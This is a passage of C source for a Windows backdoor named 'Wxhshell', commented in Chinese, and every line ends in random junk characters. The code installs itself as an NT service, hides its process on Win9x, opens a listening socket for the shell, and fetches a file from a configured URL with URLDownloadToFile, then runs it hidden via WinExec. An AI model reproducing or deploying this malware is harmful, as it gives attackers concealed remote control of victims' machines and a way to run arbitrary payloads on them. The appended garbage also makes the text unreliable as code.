ULONG UniqueProcessId; ~'):1}KN]
ULONG InheritedFromUniqueProcessId; qt%/0
} PROCESS_BASIC_INFORMATION; n4zns,:)/
}80n5X<9
PROCNTQSIP NtQueryInformationProcess; 5JZZvc$au
Fh)YNW@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )
|hHbD^V
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l_x>.' a
_xdttO^N
HANDLE hProcess; \)PS&Y8n
PROCESS_BASIC_INFORMATION pbi; @T-}\AU
Vb2")+*:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1xwq:vFC.
if(NULL == hInst ) return 0; _[
`"E'
'`p0T%w
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =k+i5:@]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GF
Rd:e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q5w)i
td+[Na0d
if (!NtQueryInformationProcess) return 0; hpticW|
;<`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I3?:KVa
if(!hProcess) return 0; Os1y8ui
!i6 aA1'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .T*7nw
@yjui
CloseHandle(hProcess); t,;b*ZR
Q_a%$a.rV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?rV c}
if(hProcess==NULL) return 0;
]cI(||x
\'N|1!EO|t
HMODULE hMod; O4 Y;
char procName[255]; @i:_JOl
unsigned long cbNeeded; Th*mm3D6
@KYmkxW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6_a.`ehtj<
+<I1@C
CloseHandle(hProcess); k4 %> F
?jzadC el
if(strstr(procName,"services")) return 1; // 以服务启动 gM3gc;
w@2LFDp
return 0; // 注册表启动 K#{E87G(
} /7zy5
kLqFh<
// 主模块 <`m.Vbvm"
int StartWxhshell(LPSTR lpCmdLine) Afa{f}st
{ -/&6}lD
SOCKET wsl; 63-
YWhs;
BOOL val=TRUE; P6 G/J-
int port=0; >heih%Ar0J
struct sockaddr_in door; 3/@'tLtN
^q$vyY
if(wscfg.ws_autoins) Install(); efP2 C\
PX'I:B]x*
port=atoi(lpCmdLine); (;h]'I@
9Au+mIN
if(port<=0) port=wscfg.ws_port; ArU>./)Q
"$8<\k$LGT
WSADATA data; 4/U]7Y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YKvFZH)
|@-WC.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7\U1K^q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U>x2'B v
door.sin_family = AF_INET; a^5`fA/L,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); S8vmXlD
door.sin_port = htons(port); Bv@m)$9\+3
k*c:%vC!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^! ZjK-$A<
closesocket(wsl); +;[`fSi
return 1; )3B5"b,
} a\m10Ih:
e?lqs,m@"
if(listen(wsl,2) == INVALID_SOCKET) { M7Hk54U+t
closesocket(wsl); N<> dg
return 1; t1Khf
} v|,H d
Wxhshell(wsl); '\*Rw]bR|
WSACleanup(); 3Yj}ra}
3Ob"r`
return 0; )Y&De)=
?s"v0cg+
} A# M
g&E_|}u4
// 以NT服务方式启动 IfXLnD^||
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -6tF
{ f|^f^Hu:{
DWORD status = 0; G[>-@9_b
DWORD specificError = 0xfffffff; wD,F=O
xf]4!zE
serviceStatus.dwServiceType = SERVICE_WIN32; #Aan v
serviceStatus.dwCurrentState = SERVICE_START_PENDING; };!c]/,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S8)awTA9
serviceStatus.dwWin32ExitCode = 0; ^&rbI,D
serviceStatus.dwServiceSpecificExitCode = 0; S~Hj.
d4/
serviceStatus.dwCheckPoint = 0; dw4)4_
serviceStatus.dwWaitHint = 0; :A{-^qd(
`A^} X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L2h+[f
if (hServiceStatusHandle==0) return; `(a^=e5
QF>[cdl?8
status = GetLastError(); X*yl%V
if (status!=NO_ERROR) anwn!Eqk"
{ y14@9<~9
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mk9kGP%
serviceStatus.dwCheckPoint = 0; 5#F+-9r
serviceStatus.dwWaitHint = 0; &^7)yS+C
serviceStatus.dwWin32ExitCode = status; NR[mzJv
serviceStatus.dwServiceSpecificExitCode = specificError; 2$ rq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68!fcK
return; r4lG 5dV
} =%
JDo
:ZIcWIV-
serviceStatus.dwCurrentState = SERVICE_RUNNING; UK<"|2^sT
serviceStatus.dwCheckPoint = 0; g:clSN,
serviceStatus.dwWaitHint = 0; o <'gM]$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UiEB?X]-l'
} g0U
?s
m #eD v*
// 处理NT服务事件,比如:启动、停止 (~GFd7
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,i,=LGn
{ ,'673PR
switch(fdwControl) R`&ioRWj
{ yW&iUh=0
case SERVICE_CONTROL_STOP: tVcs r
serviceStatus.dwWin32ExitCode = 0; bcs!4
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7| T:TbY>
serviceStatus.dwCheckPoint = 0;
rh_({rvQ
serviceStatus.dwWaitHint = 0; `+o.w#cl
{ Vel;t<1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7GUJ&U)J
} l!=WqIZ
return; -CrZ'k;4
case SERVICE_CONTROL_PAUSE: p o`$^TB^+
serviceStatus.dwCurrentState = SERVICE_PAUSED; A!kyga6F5
break; h,+=h;!
case SERVICE_CONTROL_CONTINUE: j5O*H_D
serviceStatus.dwCurrentState = SERVICE_RUNNING; K5lp-F
break; 9wAc&nl-Y
case SERVICE_CONTROL_INTERROGATE: f)x}_dw%
break; }BrE|'.j'
}; k#(cZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lRr-S%
} ^-!HbbVv
jQ)>XOok
// 标准应用程序主函数 0)]1)z(P
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g4X,*H
{ >nDnb4 'C
`RcNqPY#S
// 获取操作系统版本 $hQg+nY.
OsIsNt=GetOsVer(); $rEd5W&d!
GetModuleFileName(NULL,ExeFile,MAX_PATH); }A7qIys$4
'5U$`Xe1
// 从命令行安装 eeZysCy+DY
if(strpbrk(lpCmdLine,"iI")) Install(); i 8Xz
7]j-zv
// 下载执行文件 0AKwZ'
&H
if(wscfg.ws_downexe) {
,<^HB+{Wo
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B,833Azi
WinExec(wscfg.ws_filenam,SW_HIDE); Z5L1^
} {UBQ?7.jE
WN#lfn8 7
if(!OsIsNt) { k#JG
// 如果时win9x,隐藏进程并且设置为注册表启动 jPNfLwVkl:
HideProc(); i_Z5SMZ
StartWxhshell(lpCmdLine); Ne7{{1
} })lT fy
else !nq\x8nU
if(StartFromService()) znO00qX
// 以服务方式启动 eF^"{a3b
StartServiceCtrlDispatcher(DispatchTable); Td1ba ^J
else zD;]
sk4
// 普通方式启动 \]A;EwC4C
StartWxhshell(lpCmdLine); [B3aRi0AQ
Rl4zTAI
return 0; -0da"AB
}